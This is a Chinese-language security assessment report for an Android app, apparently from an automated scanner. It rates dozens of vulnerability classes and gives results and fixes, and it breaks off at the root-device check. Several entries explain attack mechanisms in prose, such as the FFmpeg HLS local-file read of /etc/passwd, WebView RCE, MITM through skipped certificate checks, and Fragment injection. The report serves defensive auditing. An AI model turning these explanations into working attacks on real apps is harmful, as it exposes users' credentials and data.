应用不包含全局可读写内部文件。\nSharedPreferences 数据全局可读写漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在 SharedPreferences 数据全局可读写漏洞。\n造成的危害：\nSharedPreferences 作为 Android 系统的本地数据存储方式之一，可将应用数据以键值对（key-value）的存储形式永久保存于 App 应用中。当使用SharedPreferences 方式在创建本地存储文件时，如果使用了MODE_WORLD_READABLE 模式，或者使用了 MODE_WORLD_WRITEABLE 模式并且配置了“android:sharedUserId”属性值时，可能导致储存于SharedPreferences 文件中的敏感信息被其他程序读写，导致应用内明文存储的个人身份信息、密码以及 token 等重要敏感信息泄露，或者存储的用户信息、历史数据被篡改，诱导用户误操作等。更为严重的是具备 root 权限的程序或用户可对所有应用程序通过任意模式（包括 MODE_PRIVATE）创建的的 Shared Preferences 文件进行读写操作。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 SharedPreferences 数据全局可读写漏洞已被屏蔽。\nSharedUserId 属性设置漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在 sharedUserId 属性设置漏洞。\n造成的危害：\nSharedPreferences 作为 Android 系统的本地数据存储方式之一，可将应用数据以键值对（key-value）的存储形式永久保存于 App 应用中。当使用SharedPreferences 方式在创建本地存储文件时，如果使用了MODE_WORLD_READABLE 模式，或者使用了 MODE_WORLD_WRITEABLE 模式并且配置了“android:sharedUserId”属性值时，可能导致储存于SharedPreferences 文件中的敏感信息被其他程序读写，导致应用内明文存储的个人身份信息、密码以及 token 等重要敏感信息泄露，或者存储的用户信息、历史数据被篡改，诱导用户误操作等。更为严重的是具备 root 权限的程序或用户可对所有应用程序通过任意模式（包括 MODE_PRIVATE）创建的的 Shared Preferences 文件进行读写操作。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 sharedUserId 属性设置漏洞已被屏蔽。\nInternal Storage 数据全局可读写漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在 Internal Storage 数据全局可读写漏洞。\n造成的危害：\nInternal Storage 作为 Android 系统的本地数据存储方式之一，可将应用数据直接存储于设备的内部存储器中。当使用 Internal Storage 方式在创建本地存储文件时，如果使用了 MODE_WORLD_READABLE 模式，或者使用了MODE_WORLD_WRITEABLE 模式，或者配置了“android:sharedUserId”属性值时，可能导致储存于 Internal Storage 文件中的敏感信息被其他程序读写，导致应用内明文存储的个人身份信息、密码以及 token 等重要敏感信息泄露，或者存储的用户信息、历史数据被篡改，诱导用户误操作等。更为严重的是具备 root 权限的程序或用户可对所有应用程序通过任意模式（包括MODE_PRIVATE）创建的 Internal Storage 文件进行读写操作。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Internal Storage 数据全局可读写漏洞已被屏蔽。\ngetDir 数据全局可读写漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在 getDir 数据全局可读写的漏洞。\n造成的危害：\nContext.getDir（String name , int mode）是访问 Andoid 系统的 InternalStorage 的一个重要方式，用于在应用程序的数据文件夹下获取或者创建一个存放应用程序自定义文件的文件夹。当该函数的第二参数使用了如果使用了 MODE_WORLD_READABLE 模式，或者使用了 MODE_WORLD_WRITEABLE模式，或者配置了“android:sharedUserId”属性值时，可能导致储存于该文件夹中的敏感信息被其他程序读写，导致应用内明文存储的个人身份信息、密码以及 token 等重要敏感信息泄露，或者存储的用户信息、历史数据被篡改，诱导用户误操作等。更为严重的是具备 root 权限的程序或用户可对所有应用程序通过任意模式（包括 MODE_PRIVATE）创建的文件夹进行读写操作。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 getDir 数据全局可读写漏洞已被屏蔽。\nFFmpeg 文件读取漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 中是否存在 FFmpeg 文件读取漏洞。\n造成的危害：\nFFmpeg 是一个使用广泛的多媒体框架，支持解码、编码、转码、复用、解复用、流媒体、过滤器和播放几乎任何格式的多媒体文件，目前有非常多的视音频软件或是视频网站、手机 APP 都采用了这个库。该漏洞利用了FFmpeg 处理HLS（HTTP Live Streaming）播放列表的功能，在 AVI 文件中的 GAB2 字幕块中嵌入了一个恶意构造的HLS 文件，然后提供使用 FFmpeg的目标站点进行转码，在解析的过程中该 avi 文件被当做一个 XBIN 的视频流来处理，再通过 XBIN 的编解码器根据构造的目标路径把站点本地的文件包含进来，最后通过下载转码后的视频文件来获取目标站点本地的文件内容(例如:/etc/passwd 文件内容)。FFmpeg中存在的该漏洞，不仅可以触发本地文件读取以获得服务器文件，如果客户端使用了有漏洞的 FFmpeg 库,同样能触发本地文件读取漏洞,这样通过一段视频,就能获得手机中的文件内容了。该漏洞可能导致服务器端以及应用内存储的个人身份信息、密码等重要敏感信息泄露。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 FFmpeg文件读取漏洞已被屏蔽。\nJava 层动态调试风险\n漏洞评级建议: 中危\n详情：\n检测 java 层调试功能是否被打开，java 代码层是否面临被动态调试的风险。\n造成的危害：\n客户端软件 AndroidManifest.xml 中的调试标记如果开启，可被Java 调试工具例如 jdb 进行调试，获取和篡改用户敏感信息，甚至分析并且修改代码实现的业务逻辑，例如窃取用户密码，绕过验证码防护等。\n检测结果:\n该 Apk 中 AndroidManifest.xml 中的调试标记已被关闭，Java 层无法被调试。\n内网测试信息残留漏洞\n漏洞评级建议: 低危\n描述:\n通过检测是否包含内网 URl 地址,判断是否发布包中是否包含测试数据。\n造成的危害：\n残留的测试数据，例如 URL 地址，测试账号，密码，可能会被盗取并恶意利用在正式服务器上进行攻击，例如账号重试，攻击安全薄弱的测试服务器以获取服务器安全漏洞或者逻辑漏洞。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的内网测试信息已被屏蔽。\n修复建议：\n建议开发者根据测评结果检测相关文件中是否包含更多的测试数据。\n随机数不安全使用漏洞\n漏洞评级建议: 低危\n详情：\n检测应用中是否存在随机数可被猜解的漏洞。\n造成的危害：\nAndroid 应用中通常使用 SecureRandom 类来生成随机数值，用于程序的逻辑功能或者加密算法。错误的使用方式可造成生成的随机数并非完全随机分布，且产生重复的\"随机值”。当 SecureRandom 类使用相同的种子生成随机数时，生成的随机数也相同，这样可导致使用的随机数或加密算法被破解。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的随机数不安全使用漏洞已被屏蔽。\n代码残留 URL 信息检测\n漏洞评级建议: 低危\n详情：\n检测程序代码内部存在的 URL 地址信息。\n造成的危害：\n在移动应用的程序代码内部，可能存在大量开发人员或其他工作人员无意识留下的信息内容。URL 信息检测就是通过检测移动应用程序代码内部所存在的 URL 地址信息，尽可能呈现出应用中所有的 URL 信息，便于应用开发者查看并评估其安全性。移动应用发布包中的 URL 地址信息，可能会被盗取并恶意利用在正式服务器上进行攻击，攻击安全薄弱的测试服务器以获取服务器安全漏洞或者逻辑漏洞。\n检测结果:\n存在风险，该 App 应用中存在以下 URL 地址信息。\n修复建议：\n1、核查并评估所有的 URL 信息，判断是否存在涉及内部业务等敏感信息的URL 地址，进行删除。 2、尽量不要将与客户端业务相关的 URL 信息以硬编码的方式写在应用客户端中，建议以动态的方式生成所需要请求的 URL。 残留账户密码信息检测\n漏洞评级建议: 低危\n详情：\n检测程序代码内部是否包含残留的账户、密码信息。\n造成的危害：\n移动应用发布包中如果存在残留的账户、密码信息，可能会被盗取并恶意利用在正式服务器上进行攻击，例如账号重试，攻击安全薄弱的测试服务器以获取服务器安全漏洞或者逻辑漏洞。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的账户密码信息已被屏蔽。\n残留手机号信息检测\n漏洞评级建议: 低危\n详情：\n检测程序代码内部是否包含残留手机号信息。\n造成的危害：\n移动应用发布包中如果存在残留的手机号信息，可能会被盗取并恶意利用在正式服务器上进行攻击，攻击安全薄弱的测试服务器以获取服务器安全漏洞或者逻辑漏洞。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的手机号信息已被屏蔽。\n通信数据传输安全 HTTP 传输数据风险\n漏洞评级建议: 低危\n详情：\n检测 app 程序是否使用 HTTPS 协议对传输数据进行加密。\n造成的危害：\n无线传输的数据能被第三方轻易截获，由于客户端与服务器之间的传输数据遵循通信协议指定的格式和内容类型，如果未使用加密措施，传输数据可被还原成网络层的数据包并进行解包分析，直接暴露用户的各种关键数据，例如用户名，密码等。加入了 SSL（Secure Socket Layer）子层实现的HTTPS协议可确保数据在网络上加密传输，即使传输的数据被截获，也无法解密和还原。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的使用未加密的 HTTP 协议传输数据风险已被屏蔽。\nHTTPS 未校验服务器证书漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 在使用 HTTPS 协议传输数据时是否对服务器证书进行校验。\n造成的危害：\n使用 HTTPS 协议时，客户端必须对服务器身份进行完整性校验，以验证服务器是真实合法的目标服务器。如果没有校验，客户端可能与仿冒的服务器建立通信链接，即“中间人攻击”。Android 中默认的 HTTPS 证书验证机制不接受不可信的连接，因而是安全的，但 Android 允许开发者重定义证书验证方法：1）使用X509TrustManager 类检查证书是否合法并且是否未过期；2）使用 HostnameVerifier 类检查证书中的主机名与使用该证书的服务器的主机名是否一致。重写的 X509TrustManager，其中的 checkServerTrusted()方法不对验证失败做任何处理，即不对证书进行正确校验结果，是导致“中间人攻击”的主要原因之一。当发生中间人攻击时，仿冒的中间人可以冒充服务器与手机客户端进行交互，同时冒充手机客户端与服务器进行交互，在充当中间人转发信息的时候，窃取手机号，账号，密码等敏感信息，甚至可能对通信内容进行篡改。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 HTTPS未校验服务器证书漏洞已被屏蔽。\nHTTPS 未校验主机名漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 在使用 HTTPS 协议传输数据时是否对服务器主机名进行校验。\n造成的危害：\n使用 HTTPS 协议时，客户端必须对服务器身份进行完整性校验，以验证服务器是真实合法的目标服务器。如果没有校验，客户端可能与仿冒的服务器建立通信链接，即“中间人攻击”。Android 中默认的 HTTPS 证书验证机制不接受不可信的连接，因而是安全的，但 Android 允许开发者重定义证书验证方法：1）使用X509TrustManager 类检查证书是否合法并且是否未过期；2）使用 HostnameVerifier 类检查证书中的主机名与使用该证书的服务器的主机名是否一致。重写的 HostnameVerifier，其中的Verify()方法不对主机名验证失败做任何处理，即不对主机名进行正确校验，是导致“中间人攻击”的主要原因之一。当发生中间人攻击时，仿冒的中间人可以冒充服务器与手机客户端进行交互，同时冒充手机客户端与服务器进行交互，在充当中间人转发信息的时候，窃取手机号，账号，密码等敏感信息，甚至可能对通信内容进行篡改。\n检测结果:\n该 App 在使用 HTTPS 协议传输数据时已对服务器主机名进行了校验。\nHTTPS 允许任意主机名漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 在使用 HTTPS 协议传输数据时是否允许任意服务器主机名。\n造成的危害：\n使用 HTTPS 协议时，客户端必须对服务器身份进行完整性校验，以验证服务器是真实合法的目标服务器。如果没有校验，客户端可能与仿冒的服务器建立通信链接，即“中间人攻击”。Android 中默认的 HTTPS 证书验证机制不接受不可信的连接，因而是安全的，但 Android 允许开发者重定义证书验证方法：1）使用X509TrustManager 类检查证书是否合法并且是否未过期；2）使用 HostnameVerifier 类检查证书中的主机名与使用该证书的服务器的主机名是否一致。重写的 HostnameVerifier，当被配置为接受任何服务器主机名时，等同不对主机名进行校验，是导致“中间人攻击”的主要原因之一。当发生中间人攻击时，仿冒的中间人可以冒充服务器与手机客户端进行交互，同时冒充手机客户端与服务器进行交互，在充当中间人转发信息的时候，窃取手机号，账号，密码等敏感信息，甚至可能对通信内容进行篡改。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 HTTPS允许任意主机名漏洞已被屏蔽。\nWebview 绕过证书校验漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 应用的 webview组件是否在发现 https 网页证书错误后继续加载页面。\n造成的危害：\n客户端的 Webview 组件访问使用 HTTPS协议加密的url 时，如果服务器证书校验错误，客户端应该拒绝继续加载页面。但如果重载 WebView 的onReceivedSslError()函数并在其中执行 handler.proceed()，客户端可以绕过证书校验错误继续访问此非法 URL。这样将会导致“中间人攻击”，攻击者冒充服务器与手机客户端进行交互，同时冒充手机客户端与服务器进行交互，在充当中间人转发信息的时候，窃取手机号，账号，密码等敏感信息。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Webview绕过证书校验漏洞已被屏蔽。\n身份认证安全 界面劫持风险\n漏洞评级建议: 中危\n详情：\n检测客户端 App 的应用界面是否存在可被劫持的风险。\n造成的危害：\n界面劫持是指当客户端程序调用一个应用界面时，被恶意的第三方程序探知，如果该界面组件是恶意程序预设的攻击对象，恶意程序立即启动自己的仿冒界面并覆盖在客户端程序界面之上。此时用户可能在无察觉的情况下将自己的账号、密码信息输入到仿冒的信息输入界面中，恶意程序再把这些数据返回到服务器中，完成钓鱼攻击。目前主要的界面劫持攻击通常发生在Android5.0 以下的设备中。界面劫持风险将导致用户关键信息，例如账号、密码、银行卡等关键信息被窃取等风险。\n检测结果:\n存在风险，该 App 应用存在界面劫持风险。\n修复建议：\n第三方支持：使用第三方的专业防界面劫持 SDK，防止应用界面被劫持。\n输入监听风险\n漏洞评级建议: 中危\n详情：\n检测 app 程序在进行输入时是否存在输入被监听的风险。\n造成的危害：\n应用程序中的敏感信息通常主要来源于使用者的直接输入，如果用户的输入数据被监听或者按键位置被记录，很可能导致用户的输入数据被获取，其中的账号、密码等隐私信息泄露。而 Android 系统的默认输入键盘中通常都面临数据监听的风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的输入监听风险已被屏蔽。\n截屏攻击风险\n漏洞评级建议: 中危\n详情：\n检测 App 的界面是否可被截图或者录制的风险。\n造成的危害：\n截屏攻击是指对 App 应用运行中的界面进行截图或者录制。截图攻击的主要对象是 Android 应用中的身份认证、登录界面和资金操作界面。而在Android5.0 中新增了屏幕录制接口，无需特殊权限，使用系统 API（MediaProjection）即可实现屏幕录制，并且攻击程序可以通过自定义的字符覆盖掉系统的录屏提示，诱导用户在不知情的情况下启动屏幕录制功能。当恶意程序获取到应用截图或者屏幕录像后，将其发送给攻击者，攻击者便能直接查看或者还原手机界面的操作情况，从而轻而易举获取用户 QQ、微信等应用的用户名及密码，甚至银行客户端中输入的银行账号及支付密码，导致用户的资金损失。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的截屏攻击风险已被屏蔽。\n内部数据交互安全 动态注册 Receiver 风险\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在动态注册 Receiver 风险。\n造成的危害：\nBroadcastReceiver 组件的注册方式可分为两种，一种是静态注册，即提前在 AndroidManifest.xml 文件中声明组件；另外一种是动态注册，即在代码中使用 registerReceiver()方法注册 BroadcastReceiver，只有当registerReceiver()的代码执行到了才进行注册，取消时则调用unregisterReceiver()方法。而容易被忽略的是registerReceiver()方法注册的是全局 BroadcastReceiver，在其生命周期里是默认可导出的，如果没有指定权限访问控制，可以被任意外部应用访问，向其传递 Intent 来执行特定的功能。因此，动态注册的 BroadcastReceive 可能导致拒绝服务攻击、应用数据泄漏或是越权调用等风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的动态注册 Receiver 风险已被屏蔽。\nContent Provider 数据泄露漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 是否存在 Content Provider 数据泄露风险。\n造成的危害：\nContent provider 可被用于在不同应用程序或者进程之间共享数据，而应用程序的不同数据内容应该具有严格的访问权限。如果权限设置不当，应用程序的 content provider 数据可能被其他程序直接访问或者修改，导致用户的敏感数据泄露，或者应用数据被恶意篡改，例如盗取账号信息，修改支付金额等。\n检测结果:\n该 App 应用中不存在可被其他程序访问的 content provider 数据。\n组件导出风险\n漏洞评级建议: 中危\n描述:\n组成 Apk 的四个组件，Activity，Service，Broadcast Receiver 和 Content Provider，如果设置了导出权限，都可能被系统或者第三方的应用程序直接调出并使用。\n造成的危害：\n组件导出可能导致登录界面被绕过、信息泄露、数据库 SQL 注入、DOS、恶意调用等风险。\n修复建议：\n关闭 AndroidManifest.xml 中的组件导出权限，对于必须导出的组件必须限制于授权用户或者应用组件。\nActivity 组件导出风险\n漏洞评级建议: 中危\n详情：\n检测 apk 中的 Activity组件是否存在导出的风险。\n造成的危害：\nActivity 作为组成 Apk 的四个组件之一，是 Android 程序与用户交互的界面，如果 Activity 打开了导出权限，可能被系统或者第三方的App 直接调出并使用。Activity 导出可能导致登录界面被绕过、拒绝服务攻击、程序界面被第三方恶意调用等风险。\n检测结果:\n该 Apk 中的 Activity 组件开启了导出权限，存在组件导出风险。\n修复建议：\n关闭 AndroidManifest.xml 中的 Activity 组件导出权限，对于必须导出的组件必须限制于授权用户或者应用组件。\nService 组件导出风险\n漏洞评级建议: 中危\n详情：\n检测 apk 中的 Service 组件是否存在导出的风险。\n造成的危害：\nService 作为组成 Apk 的四个组件之一，一般作为后台运行的服务进程，如果设置了导出权限，可能被系统或者第三方的 App 直接调出并使用。Service导出可能导致拒绝服务攻击，程序功能被第三方恶意调用等风险。\n检测结果:\n该 Apk 中的Service 组件开启了导出权限，存在组件导出风险。\n修复建议：\n关闭 AndroidManifest.xml 中的Service 组件导出权限，对于必须导出的组件必须限制于授权用户或者应用组件。\nBroadcast Receiver 组件导出风险\n漏洞评级建议: 中危\n详情：\n检测 apk 中的 Broadcast Receiver 组件是否存在导出的风险。\n造成的危害：\nBroadcast Receiver 作为组成 Apk 的四个组件之一，对外部事件进行过滤接收,并根据消息内容执行响应，如果设置了导出权限，可能被系统或者第三方的 App 直接调出并使用。Broadcast Receiver 导出可能导致敏感信息泄露、登录界面被绕过等风险。\n检测结果:\n存在风险，该 Apk 中的 Broadcast Receiver 组件开启了导出权限，存在组件导出风险。\n修复建议：\n关闭 AndroidManifest.xml 中的 Broadcast Receiver 组件导出权限，对于必须导出的组件必须限制于授权用户或者应用组件。\nContent Provider 组件导出风险\n漏洞评级建议: 中危\n详情：\n检测 apk 中的 Content Provider 组件是否存在导出的风险。\n造成的危害：\nContent Provider 组成 Apk 的四个组件之一，是应用程序之间共享数据的容器，可以将应用程序的指定数据集提供给第三方的 App，如果设置了导出权限，可能被系统或者第三方的 App 直接调出并使用。Content Provider 导出可能导致程序内部的敏感信息泄露，数据库 SQL 注入等风险。\n检测结果:\n该 Apk 中的 Content Provider 组件无法被导出。\nPendingIntent 错误使用 Intent 风险\n漏洞评级建议: 低危\n详情：\n检测 App 中是否存在 PendingIntent 使用了隐式 Intent 或者空 Intent 的风险。\n造成的危害：\nPendingIntent 提供了一种特殊的异步处理机制，App 可创建一个待处理的Intent 给其他应用，并且允许这个应用以与自己相同的权限来执行这个Intent。即使创建Intent 的原始 App 应用已经被关闭，其他应用在获取PendingIntent 之后，仍可能对 Intent 进行修改，并以原始应用的权限与ID来执行修改后的恶意行为。这样可能导致原始 App 获取的系统权限和用户数据泄露，例如系统被恶意关闭，短信劫持，系统数据删除，甚至应用中涉及的用户数据被恶意篡改，或者执行恶意操作如转账、发送信息等。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 PendIntent 错误使用 Intent 风险已被屏蔽。\nIntent 组件隐式调用风险\n漏洞评级建议: 低危\n详情：\n检测 Apk 中的 Intent 组件是否存在隐式调用的风险。\n造成的危害：\nIntent 通常用于 Activity、Service、Broadcast Receiver 等组件之间进行信息传递，包括发送端和接收端。当使用隐式的 Intent 调用时，并未对 intent 消息接收端进行限制，因此可能存在该消息被未知的第三方应用劫持的风险。Intent 消息被劫持，可能导致用户的敏感数据泄露，或者恶意程序执行等风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Intent 组件隐式调用的风险已被屏蔽。\nIntent Scheme URL 攻击漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 应用中是否存在 Intent Scheme URL 攻击漏洞。\n造成的危害：\n利用 intent scheme URLs(意图协议 URL)，可以通过 web 页面发送 intent 来启动 App 应用。攻击者可构造特殊格式的 URL 直接向系统发送意图，启动App 应用的Activity 组件或者发送异常数据，导致应用的敏感信息泄露或者应用崩溃。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Intent Scheme URL 攻击漏洞已被屏蔽。\nFragment 注入攻击漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 应用中是否存在 Fragment 注入攻击漏洞。\n造成的危害：\nActivity 可包含多个 Fragment 来展示界面，PreferenceActivity 是支持Fragment 的基类 activity，其根据传入的参数 EXTRA_SHOW_FRAGMENT，(‘:android:show_fragment’)动态创建 fragment 实现界面展示。 当PreferenceActivity 的 activity是属性为 export，PreferenceActivity 不检查传入的参数直接根据其构建对象时，可以构造 intent 中的 extra 数据，调用应用内部的任意 fragment。fragment 注入攻击可导致应用的敏感信息泄露、远程代码执行或者应用崩溃。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 Fragment 注入攻击漏洞已被屏蔽。\n反射调用风险\n漏洞评级建议: 低危\n详情：\n检测 App 程序是否存在反射调用风险。\n造成的危害：\n在 Java 程序中，反射调用可用于强行访问正常途径没有访问权限的代码，在知道目标类的类名和方法名的情况下动态的去调用一些 protected 甚至是private 的方法或类。反射调用在为 Java 程序对自身进行检查，访问程序的内部属性以及私有方法时提供了便利，但绕过了 Java 的代码访问权限，也容易留下安全漏洞。使用反射调用机制，可能绕过系统安全设置，访问程序的私有数据，造成用户敏感数据泄露。\n检测结果:\n该 App 不存在反射调用风险。\n恶意攻击防范能力 “应用克隆\"漏洞攻击风险\n漏洞评级建议: 高危\n详情：\n检测 App 中是否存在利用 webview跨域访问进行“应用克隆”漏洞攻击的风险。\n造成的危害：\nWebView 是Android 用于显示网页的控件。当 Android 应用中存在包含webview的可被导出 Activity 组件时，若该 WebView 允许通过 file url 对http 域进行访问，并且未对访问的路径进行严格校验，则可能导致“应用克隆”漏洞攻击。攻击者利用该漏洞，可远程获取用户隐私信息（包括手机应用数据、照片、文档等敏感信息）导致数据泄露，可远程打开并加载恶意HTML 文件，甚至获取App 中包括用户登录凭证在内的所有本地敏感数据。\n检测结果:\n该 Apk 经过加固保护，可能存在的“应用克隆”漏洞攻击风险无法被获取。\n动态注入攻击风险\n漏洞评级建议: 高危\n详情：\n检测客户端 App 运行时是否面临动态注入的风险。\n造成的危害：\n动态注入是指通过 OS 特定机制，利用系统 API 将代码写入到目标进程并让其执行。通过动态注入，攻击者可以将一段恶意代码写到目标进程，这段代码可以加载其它可执行程序，进而实施 hook，监控程序运行、获取敏感信息等。常见的动态注入，可以实现窃取输入的登录账号、密码、支付密码，修改转账的目标账号、金额，窃取通讯数据等。\n检测结果:\n存在风险，该 App 存在动态注入的风险。\n修复建议：\n使用具有反动态注入功能的第三方专业加固方案，防止应用被动态注入。\nWebview 远程代码执行漏洞\n漏洞评级建议: 高危\n详情：\n危险 api 可通过 webview 对象向页面 javascript 导出 java 本地接口，可能导致任意命令执行。\n造成的危害：\nWebview 是 Android 用于浏览网页的组件，其包含的接口函数addJavascriptInterface 可以将Java 类或方法导出以供 JavaScript 调用，实现网页 JS 与本地 JAVA 的交互。由于系统没有限制已注册 JAVA 类的方法调用，因此未注册的其它任何 JAVA 类也可以被反射机制调用，这样可能导致被篡改的 URL 中存在的恶意代码被执行，用户手机被安装木马程序，发送扣费短信，通信录或者短信被窃取，甚至手机被远程控制。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 webview 组件远程代码已被屏蔽。\n未移除有风险的 Webview 系统隐藏接口漏洞\n漏洞评级建议: 高危\n详情：\n检测 App 程序中是否已经移除有风险的 Webview 系统隐藏接口。\n造成的危害：\nWebview 远程代码执行最早在CVE-2012-663 中被发现，起初产生的原因是由于 WebView addJavascriptInterface 接口引起的。在2014 年公布的 CVE-2014-1939 中，研究人员发现在 Android 系统中 android/webkit/webview 中默认内置的一个 searchBoxJavaBridge_ API 同时存在远程代码执行漏洞。而最近公布的一次关于 WebView 远程代码执行的漏洞是 CVE-2014-7224，其中发现的是两个新的攻击向量存在于 android/webkit/AccessibilityInjector.java中,这两个接口分别是”accessibility” 和”accessibilityTraversal”，调用了此组件的应用在开启了辅助功能选项中第三方服务的安卓系统上也将面临远程代码执行漏洞。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的未移除 Webview系统隐藏接口漏洞已被屏蔽。\nzip 文件解压目录遍历漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在解压 zip 文件时可导致目录遍历的漏洞。\n造成的危害：\nApp 在运行过程中，可能对下载的或者本地存储中的 zip 格式文件进行解压。由于在 zip 压缩包下的文件路径名中允许存在“../”字符串，而“../”在Android 系统中将被解释为返回上层目录，那么攻击者可能利用多个“../”构造出不安全的 zip 压缩包。当app 程序中使用 ZipEntry.getName()解压 zip 文件时，没有对上级目录字符串(../)进行过滤校验，可能会导致被解压的文件发生目录跳转，解压到当前目录以外的其他目录，并且覆盖应用原有的文件。如果被覆盖掉的文件是 js、so 和 dex 等文件，可能导致拒绝服务攻击，甚至是恶意代码执行。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的 zip 文件解压目录遍历漏洞已被屏蔽。\n下载任意 apk 漏洞\n漏洞评级建议: 高危\n详情：\n检测应用中是否存在下载任意 apk 的漏洞。\n造成的危害：\n具有下载 apk 功能的组件存在导出漏洞，并且未对组件调用者进行校验。攻击者可利用导出组件的手段下载攻击者指定的任意 apk 文件，并且在下载过程中伪装 apk 文件的下载信息，例如图标、描述等，导致用户被诱导下载安装恶意应用。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的下载 apk 漏洞已被屏蔽。\n拒绝服务攻击漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 应用中的组件是否存在拒绝服务攻击的漏洞。\n造成的危害：\nIntent 通常用于 Activity、Service、Broadcast Receiver 等组件之间进行信息传递，其负责对应用中一次操作的动作及数据进行描述。当 intent 中包含空数据、异常或者畸形数据时，如果 Android 应用程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据进行异常捕获，那么可导致接收该 Intent 的应用崩溃。拒绝服务攻击漏洞可能导致安全防护、监控类应用失效，也可能导致应用被大面积恶意攻击而崩溃，造成经济利益损失或者客户流失。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的拒绝服务攻击漏洞已被屏蔽。\n从 sdcard 加载 dex风险\n漏洞评级建议: 中危\n详情：\n检测 App 程序中的是否存在从 sdcard 动态加载 dex 的风险。\n造成的危害：\n低于 Anroid4.1 的系统版本允许 APP 动态加载存储在 sdcard 的 dex 文件，该目录也可被其他应用读写。当 APP 对于从外部加载的 DEX 文件未做完整性校验时，向加载的 dex 注入恶意代码或者使用恶意代码替换 dex 文件，将会导致恶意代码执行。常见的恶意代码，可能导致登录账号、密码、支付密码被窃取，恶意扣费，病毒注入等风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的从 sdcard 动态加载 dex 的风险已被屏蔽。\n从 sdcard 加载 so 风险\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在从 sdcard 动态加载 so 的风险。\n造成的危害：\n出于节省 Apk 包大小，或者动态升级 so 文件的原因，App 程序可能将部分 so 文件存储或者下载于 sdcard 上，然后进行动态加载。为成功动态加载 so 文件，App 首先将 so 文件读取到应用私有目录下，再使用 system.load 函数加载该目录下的 so 文件，并且该目录是应用私有目录（/data/data/\u003cpackagename\u003e/）下的非默认 lib 库文件夹。该过程中 APP 动态加载了存储在 sdcard 上的 so 文件，如果存储的 so 文件被存在恶意行为的 so 文件替换，将会导致恶意代码执行。常见的恶意代码，可能导致登录账号、密码、支付密码被窃取，恶意扣费，病毒注入等风险。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的从 sdcard 加载 so 文件的风险已被屏蔽。\n未使用编译器堆栈保护技术风险\n漏洞评级建议: 低危\n详情：\n检测 App 程序中是否存在未使用编译器堆栈保护技术风险。\n造成的危害：\n缓冲区溢出攻击是指当程序向内存缓冲区内填充数据位数时超过了缓冲区本身的容量，导致溢出的数据覆盖在合法数据上，从而修改内存中将执行的程序地址。这种攻击通常发生在堆栈中，攻击者需要事先分析被攻击进程的虚拟地址空间布局，然后采用硬编码方式向堆栈缓冲区填充恶意代码。如果系统每次加载应用进程和动态链接库时，基地址都加载到固定虚拟内存地址处，攻击者可得出应用程序的地址空间布局，便可以通过构造恶意的缓冲区数据，使该函数返回时跳转至攻击者注入的恶意代码或 shellcode 处执行。缓冲区溢出攻击，可能导致程序执行失败、系统宕机或者恶意程序执行等后果，造成用户数据泄露或者对手机系统实现恶意操作。攻击者利用堆栈溢出漏洞时，通常会破坏当前的函数栈。Stack Canaries 漏洞探测技术，可以对缓冲区溢出进行预警。在所有函数调用发生时，向栈帧内压入一个被称作 canary 的随机数，当栈中发生溢出时，canary 将被首先覆盖，之后才是 EBP 和返回地址。在函数返回之前，系统通过检测栈帧中的 canary 数值是否发生变化来判断是否发生了栈溢出漏洞，此时程序将跳转到 stack_chk_fail 输出错误消息并终止执行。\n检测结果:\n存在风险，该 App 程序中未使用编译器堆栈保护技术。\n修复建议：\n1. 开发者应该在编译 Native 程序即 so 文件时使用 Canary 探测技术，防止缓冲区溢出攻击的发生。 未使用地址空间随机化技术风险\n漏洞评级建议: 低危\n详情：\n检测 App 程序中是否存在未使用地址空间随机化技术风险。\n造成的危害：\n应用程序的地址空间布局是固定的，自低向高依次为代码区，BSS 区，堆栈区，攻击者通过分析能轻易得出各区域的基地址。基于这些信息，只要攻击者的注入代码被执行，攻击程序就能随意跳转到其指定的内存区域，最终获取系统的控制权。而地址空间随机化技术的基本思想，则是动态随机分配内存地址给程序代码区，BSS 区，堆栈区的基地址，即使攻击者注入的代码被执行，也会因为无法找到合法的返回地址而产生错误，最终攻击进程无法执行。ASLR（Address space layout randomization）是一种针对缓冲区溢出的安全保护技术。\n检测结果:\n该 App 程序中已经使用了使用地址空间随机化技术。\nRoot 设备运行风险\n漏洞评级建议: 